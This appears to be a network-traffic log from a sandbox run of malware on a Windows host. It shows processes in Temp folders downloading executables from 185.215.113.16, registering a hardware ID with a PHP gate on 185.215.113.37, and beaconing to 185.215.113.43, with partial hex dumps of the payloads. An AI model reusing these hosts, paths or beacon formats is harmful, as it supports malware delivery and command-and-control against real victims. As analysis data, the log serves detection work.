Oct 22, 2024 19:24:35.756297112 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 22 Oct 2024 17:24:35 GMT Content-Type: application/octet-stream Content-Length: 1949184 Last-Modified: Tue, 22 Oct 2024 17:10:02 GMT Connection: keep-alive ETag: "6717dc6a-1dbe00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 d0 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfL@MZ4@WkXLL @.rsrc@.idata @ `+@dmqydvws2@sqmqmqayL@.taggant0L"@
Oct 22, 2024 19:24:35.756318092 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 22, 2024 19:24:35.756335020 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 22, 2024 19:24:35.756397009 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 22, 2024 19:24:35.756413937 CEST	1236	IN	Data Raw: 1c 9b 92 2b cd 49 c3 f5 6d 7c a6 27 11 80 24 92 be 28 0b e7 46 d6 d1 99 df f6 2d 4c dc 5a 22 77 80 9e b5 a0 7d 5e 9e 6b d9 65 86 69 5d 77 95 8f 2d 66 e2 ab 29 84 51 16 7f 67 12 fb d6 c9 22 96 5d da 76 5a f5 25 47 97 cf a9 20 69 9d 67 5a 5d ce 05 Data Ascii: +Im\|'$(F-LZ"w}^kei]w-f)Qg"]vZ%G igZ]5{F[<$W2.OvDI";5#vF#H:HV`aB"/]EufRElk-K&#zFck}x5ESw/.:q/=&lvsGY")-nDKz1H/
Oct 22, 2024 19:24:35.756438971 CEST	1236	IN	Data Raw: 6c 9a f8 db ac b2 52 29 c5 be e6 ac 04 35 a8 b0 3d 98 1e bf ce d9 c6 33 4e 93 22 b7 61 de c1 6b 4d 78 7a 63 9f 3e 2b 22 60 bc ce 5e 36 5a 42 3b b1 f9 a2 56 d7 a9 27 68 b5 58 a1 1e dc c6 a6 77 7d 9a 2c 5b bd ee dc 89 01 ad 23 c3 ad 1d 07 4b 53 f7 Data Ascii: lR)5=3N"akMxzc>+"`^6ZB;V'hXw},[#KSCM_n+!5jugKNl\|M ZY9PN]Nhmswc(kwg}32L,apH!oD~)L=e`V%~]YxQj7,!
Oct 22, 2024 19:24:35.756455898 CEST	1236	IN	Data Raw: e9 71 c9 cf 95 6f c6 35 99 65 4b ed ce 77 ea 98 04 0d b5 8b 48 ea ef bb 3c 80 f9 b7 85 68 ea 70 aa 17 d4 7c 99 7d 15 4a 85 c7 26 38 7c 02 10 29 6b ee c8 d8 54 5d a8 5c 8e 3e b7 69 fa 4a 75 d7 54 7f 8c 04 4f 02 07 37 b4 fb 8a 39 95 8b cd 35 09 ba Data Ascii: qo5eKwH<hp\|}J&8\|)kT]\>iJuTO795WIcbuEJG~B8X/h0%}V9em_-"O.\|wRu}+JrZc+GsmhhndA]KW6PD+zepDoDC&k
Oct 22, 2024 19:24:35.756474018 CEST	1236	IN	Data Raw: 04 40 20 b1 cf fe 8c 5c c1 5a 7e 13 05 20 52 52 35 8b 98 48 8b 0e 25 17 cf e0 9e ce af a5 fb b5 b9 62 f5 b1 eb 06 79 47 32 02 bf 9b f9 4f 5f 4f d5 d6 2d 24 40 bc 1f 6d 82 d5 96 35 b4 1d 4a fa cf a8 59 9a cb e0 3d b0 ce 1a 2e f2 97 81 ef 5c 42 73 Data Ascii: @ \Z~ RR5H%byG2O_O-$@m5JY=.\Bsj@G"{>00}77H-#"Hm(H!C'b-07O#dRnXbxIFJIO]k^sDSzx/>brcR&flI^YS
Oct 22, 2024 19:24:35.756496906 CEST	1236	IN	Data Raw: 60 3a 15 eb fe 14 36 34 89 41 06 43 0d 77 2a db 61 38 61 bd b9 82 c2 f0 0f 36 67 20 fa 2c 3b 37 ed 5e 9a 35 b1 57 88 24 bb 17 93 59 65 71 c2 33 96 3a dc 93 ea 94 0a 6d 24 57 94 33 d3 6f d4 7b 91 75 e2 0d e6 27 3a dc 15 a4 49 95 be e6 09 28 e8 34 Data Ascii: `:64ACwa8a6g ,;7^5W$Yeq3:m$W3o{u':I(4wTI$FvT-',>Ut^\&D3mKkh=*vrWTUYl!W,^"XEvfQw[`)wf zW/\|NE{^;UVU(6H\|Vs
Oct 22, 2024 19:24:35.756520987 CEST	1236	IN	Data Raw: c4 6c 82 a0 cb a8 5e f6 db 04 84 6e 37 e5 92 8a 11 80 77 83 95 1a 0c f8 b0 48 25 8d 2e 3c 94 48 fb 3b d1 2f f3 20 33 ad cf 60 8a ae b3 e6 90 aa 3a a3 c6 6b d9 66 05 4f 6f df 3c 6f 6d 29 67 11 82 2e 15 ff ac 6c 28 7c 2d 85 fb 16 f5 29 3c 1f 1c b2 Data Ascii: l^n7wH%.<H;/ 3`:kfOo<om)g.l(\|-)<0;:.kc`j@\|UdXAeO~s!h@X+x\j}qe.-;*JBS~b)?wkx\l,I;HM;7gR[@1B
Oct 22, 2024 19:24:35.761836052 CEST	1120	IN	Data Raw: a5 98 3e c0 93 a0 0a 28 42 9c ff 3b a5 ea 8e 47 f7 3e a5 b4 c7 ef 0a b7 45 8a 4c 53 41 2e 13 bf 2d bf 23 0f c1 7a a6 56 70 fc 9b f8 83 ee 92 e0 54 1d 47 af c1 2a 97 b1 d5 e7 6b 4f bb ea 58 4d 5e b1 b7 59 f7 42 51 4c 4e c7 ba b9 07 82 33 db f2 2e Data Ascii: >(B;G>ELSA.-#zVpTGkOXM^YBQLN3.I?GTDv2i}RabIm}^6aRj):ESOub}3[qQES~Vtahc(]) 1a9@wcVn5`eWQE_*HmV-tF
Oct 22, 2024 19:24:38.938960075 CEST	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 22, 2024 19:24:39.216825008 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 22 Oct 2024 17:24:39 GMT Content-Type: application/octet-stream Content-Length: 1826304 Last-Modified: Tue, 22 Oct 2024 17:09:55 GMT Connection: keep-alive ETag: "6717dc63-1bde00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 30 69 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 69 00 00 04 00 00 f3 92 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELJf$0i@`i@P%d% %(@.rsrc %8@.idata %8@ )%:@yquqvaggO\|<@kkcxorqu i@.taggant00i"@
Oct 22, 2024 19:24:41.846313000 CEST	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 22, 2024 19:24:42.123876095 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 22 Oct 2024 17:24:41 GMT Content-Type: application/octet-stream Content-Length: 2744320 Last-Modified: Tue, 22 Oct 2024 17:12:36 GMT Connection: keep-alive ETag: "6717dd04-29e000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2a 00 00 04 00 00 9e 94 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$@* `@ *`Ui` @ @.rsrc`2@.idata 8@namxoaly)):@dbejnace )@.taggant@@*")@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49722	185.215.113.37	80	5388	C:\Users\user\AppData\Local\Temp\LDYMRYSK15TF568PLM3O1A8XS.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 19:24:48.273108006 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 22, 2024 19:24:49.193298101 CEST	203	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 17:24:49 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 22, 2024 19:24:49.247447014 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHDHDBAECGCAFHJJDAKF Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 44 48 44 42 41 45 43 47 43 41 46 48 4a 4a 44 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 38 35 37 45 36 41 43 46 38 31 33 31 30 31 39 36 39 33 31 36 33 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 44 42 41 45 43 47 43 41 46 48 4a 4a 44 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 44 42 41 45 43 47 43 41 46 48 4a 4a 44 41 4b 46 2d 2d 0d 0a Data Ascii: ------GHDHDBAECGCAFHJJDAKFContent-Disposition: form-data; name="hwid"1857E6ACF8131019693163------GHDHDBAECGCAFHJJDAKFContent-Disposition: form-data; name="build"doma------GHDHDBAECGCAFHJJDAKF--
Oct 22, 2024 19:24:49.715630054 CEST	210	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 17:24:49 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49723	185.215.113.43	80	7596	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 19:25:06.495820999 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 22, 2024 19:25:07.403130054 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 22 Oct 2024 17:25:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49724	185.215.113.43	80	7596	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 19:25:08.913300991 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 30 32 41 37 33 42 34 35 45 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB02A73B45E82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Oct 22, 2024 19:25:09.839683056 CEST	554	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 22 Oct 2024 17:25:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 62 0d 0a 20 3c 63 3e 31 30 30 30 37 37 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 30 37 37 37 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 30 37 37 38 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 66 37 62 38 63 37 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 30 37 37 39 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 16b <c>1000776001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1000777001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1000778001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1000779001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fff7a7df309c5441f056fc49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49725	185.215.113.16	80	7596	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 19:25:09.849549055 CEST	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 22, 2024 19:25:10.992338896 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 22 Oct 2024 17:25:10 GMT Content-Type: application/octet-stream Content-Length: 3008000 Last-Modified: Tue, 22 Oct 2024 17:09:48 GMT Connection: keep-alive ETag: "6717dc5c-2de600" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 4a f1 ff 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 a0 04 00 00 dc 00 00 00 00 00 00 00 60 31 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 31 00 00 04 00 00 70 df 2e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 f0 05 00 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 f1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELJf`1@1p.@Wk ^@.rsrc n@.idata n@qpjfxxrcP+N+p@xsxailusP1-@.taggant0`1"-@
Oct 22, 2024 19:25:10.992438078 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 22, 2024 19:25:10.992449045 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 22, 2024 19:25:10.992459059 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 22, 2024 19:25:10.992466927 CEST	1236	IN	Data Raw: 22 5f 47 8b da ed a0 67 65 ce 76 d0 ea 5c 97 29 bf 1f b1 bf 67 22 3c a1 57 2f 3a cf d2 0c 34 62 8b eb aa cb 11 57 83 6b 89 fd 5d fd 35 7e f6 7d 10 ce c9 ed 67 7a a4 6e 53 63 72 ec ea 1a fb c4 1a 60 b1 87 57 5e 22 66 42 7d 75 ed 37 f1 8c de 4c d6 Data Ascii: "_Ggev\)g"<W/:4bWk]5~}gznScr`W^"fB}u7Lad~FssHB@dOqZ'l[xk1\|0Wwp3fe:80Ec0n;(w3Bt6,i\"J&Dg,FErE$
Oct 22, 2024 19:25:10.992475986 CEST	1236	IN	Data Raw: e7 24 b2 af 31 71 64 a2 89 45 59 36 f4 62 75 6f 4f bc 67 3f 10 ca 21 9d b1 12 a1 23 83 53 81 3d 8a bf b9 2e bb 9f 9c 55 01 b9 5c e6 3f 89 73 f7 8e e0 e4 0b c5 b1 0a e2 4f 46 69 e6 d4 9d 5a 66 82 5c 74 bf 15 d7 ab f2 0c 73 5d d7 15 92 14 1f 4f 46 Data Ascii: $1qdEY6buoOg?!#S=.U\?sOFiZf\ts]OFON{.*BX'1f}G3<;%\|LC$:<f>fSdDgZyKQb)Y;ga"EsW9b_ZY.j[=G^>+
Oct 22, 2024 19:25:10.992485046 CEST	1236	IN	Data Raw: 37 7d 5d 44 30 dd e4 e4 f8 41 35 b6 aa 2b 82 3d 64 08 aa ea bb 29 f0 ce 48 87 b7 0c 2a a3 3e c9 e2 02 5a 8d 9f 4c 4e 6d 58 73 58 46 ce 40 c8 bb 49 4a 63 a2 61 5e 8c e9 86 20 40 13 fe d6 79 3b 8e 7b 90 e6 7a f9 35 56 47 ff fa ee 92 cc 59 0c 2b 60 Data Ascii: 7}]D0A5+=d)H*>ZLNmXsXF@IJca^ @y;{z5VGY+`2^rY+MG0.aw<&$/nv_mn(M'& rT]UFaqT#Llbz&AFP2+DwlO'1=Hw]hHH
Oct 22, 2024 19:25:10.992580891 CEST	1236	IN	Data Raw: fd 91 41 d5 9d 4a cd 49 8f c2 c7 b9 42 81 31 26 17 eb a2 47 4a d2 95 04 60 01 30 ca e7 b8 30 dc 0d a5 e0 24 13 80 68 cb 1e 32 0f 7b ef 75 6d 6f a1 48 ae 66 74 3c bb a4 85 7e 42 77 58 22 4c 16 ed 3b dc 66 eb e9 ac 45 ed d4 ab 6b 33 ba 51 73 03 87 Data Ascii: AJIB1&GJ`00$h2{umoHft<~BwX"L;fEk3Qs>vU5USUh,,e'=`bY_Q.?"2Qb[{]rKV)gnok?+g`9[+!b}{5gYT8igRu.>Q&-W 2UI;g6
Oct 22, 2024 19:25:10.992590904 CEST	1236	IN	Data Raw: d2 3a 89 17 f2 88 b5 eb 1d 6e f3 a0 5d bd af a1 af 4a b2 9a d4 4f 69 3e 7b e3 82 92 9b 4c 35 7a bd 02 3a b6 fc f8 ca 86 03 3a de c9 31 ae 9c c6 db 05 3e 93 4a e7 4f cb 64 f1 96 c8 61 b6 9b 2f 00 b6 fd 3c 0f 9b 58 ea 65 c2 26 5d 3e d7 05 eb 3b 6f Data Ascii: :n]JOi>{L5z::1>JOda/<Xe&]>;omm#'2dZXRrN,zfZ)T nQYV!~/)HE&3~ZbV4L1"HBOKN [{?MB
Oct 22, 2024 19:25:10.992609978 CEST	1236	IN	Data Raw: 26 0b 2e 9f 2a c7 93 7e 37 c2 f5 a7 76 7d 5c a2 25 8d 8f 11 dd d7 48 b6 95 aa 04 1e b1 a0 b4 a9 0f f6 b2 07 ed da fb 69 87 e5 d0 67 1f 1e 4f d5 35 a6 64 d7 0b f7 8e d1 17 9e 24 c3 7d 60 88 cd 32 f1 a7 36 e2 53 d2 e9 06 2e 05 83 f7 87 9f 35 ea 2a Data Ascii: &.~7v}\%HigO5d$}`26S.5qI4OKZ;*'l7{'sX"gf<o~eS-wn~i!?r0zk9n<No$S&)ooG$V&<D:7B2K125Vn[ii^FP
Oct 22, 2024 19:25:10.992645025 CEST	1120	IN	Data Raw: 81 0c a1 ad 3a 9a 7a 61 0c cc 88 50 22 bb 23 e8 24 c6 dd bf 47 0b 32 ef 68 af 9b cc ae 0d 1e a4 8a 72 b4 ef fc 46 e9 8b bb 39 3d 8e d5 0e b1 3d 84 c8 f2 c7 69 8a b0 70 37 7a e4 23 78 7e 99 07 d5 52 8c 39 fc 6f 1b 7a bb 8c c7 d3 80 36 ab ed bc bf Data Ascii: :zaP"#$G2hrF9==ip7z#x~R9oz62Xn_1{:j'vMEe^,H#1=otn/#:nYFaJa/\:=o+</w$W3Fu/+b6G;@k"iM^m[m
Oct 22, 2024 19:25:10.993783951 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 22 Oct 2024 17:25:10 GMT Content-Type: application/octet-stream Content-Length: 3008000 Last-Modified: Tue, 22 Oct 2024 17:09:48 GMT Connection: keep-alive ETag: "6717dc5c-2de600" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 4a f1 ff 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 a0 04 00 00 dc 00 00 00 00 00 00 00 60 31 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 31 00 00 04 00 00 70 df 2e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 f0 05 00 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 f1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS 